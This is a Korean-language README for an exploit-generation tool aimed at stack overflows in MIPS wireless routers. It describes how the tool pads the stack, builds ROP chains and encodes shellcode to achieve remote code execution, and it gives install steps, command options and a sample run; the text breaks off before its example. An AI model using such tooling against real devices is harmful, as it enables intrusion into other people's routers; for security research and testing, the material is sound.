무선 라우터의 스택 오버플로 유형에 대한 자동화된 애플리케이션 생성
Router Exploit Shovel은 무선 라우터의 스택 오버플로 유형을 위한 자동화된 애플리케이션 생성 도구입니다. 이 도구는 익스플로잇의 핵심 기능을 구현하며, 스택의 데이터 패딩 길이에 적응하고, ROP 체인을 생성하며, 인코딩된 셸코드를 생성하고, 마지막으로 이를 완전한 공격 코드로 조립할 수 있습니다. 사용자는 공격 코드를 POC의 오버플로 위치에 첨부하기만 하면 원격 코드 실행 익스플로잇을 완료할 수 있습니다.
이 도구는 MIPSel 및 MIPSeb를 지원합니다. Ubuntu 16.04 64bit에서 실행됩니다.
git, python3 및 setuptools가 설치되어 있는지 확인하십시오. Github에서 소스 코드를 다운로드하십시오:
$ git clone https://github.com/arthastang/Router-Exploit-Shovel.git
환경을 설정하고 의존성을 설치하십시오:
$ cd Router-Exploit-Shovel/
$ python3 setup.py install
$ python3 Router_Exploit_Shovel.py -h
Usage: Router_Exploit_Shovel.py [options]
Options:
-h, --help 도움말 메시지를 표시하고 종료합니다.
-b BINARYFILEPATH, --binaryFile=BINARYFILEPATH
바이너리 파일 경로 입력
--ba=BINARYBASEADDR, --binaryBaseAddr=BINARYBASEADDR
바이너리 베이스 주소 입력, 기본값=0x00400000
-l LIBRARYFILEPATH, --libraryFile=LIBRARYFILEPATH
libc 파일 경로 입력
--la=LIBRARYBASEADDR, --libraryBaseAddr=LIBRARYBASEADDR
라이브러리 베이스 주소 입력, 기본값=0x2aae2000
-o OVERFLOWFUNCTIONPOINTOFFSET, --overflowPoint=OVERFLOWFUNCTIONPOINTOFFSET
오버플로 함수 포인트 오프셋 입력
--arch=ARCH ELF 파일의 아키텍처 입력, [little] 또는 [big], 기본값=big
예를 들어:
$ python3 Router_Exploit_Shovel.py -b test_binaries/mipseb-httpd -l test_binaries/libuClibc-0.9.30.so -o 0x00478584

이 도구는 패턴을 사용하여 ROP 체인을 생성합니다. 일반적인 ROP 익스플로잇 절차에서 패턴을 추출합니다. 정규식 매칭을 사용하여 체인 문자열을 채울 수 있는 가젯을 찾습니다. Base64 인코딩은 중복 문자 이스케이프를 피하기 위해 사용됩니다. 예를 들어:
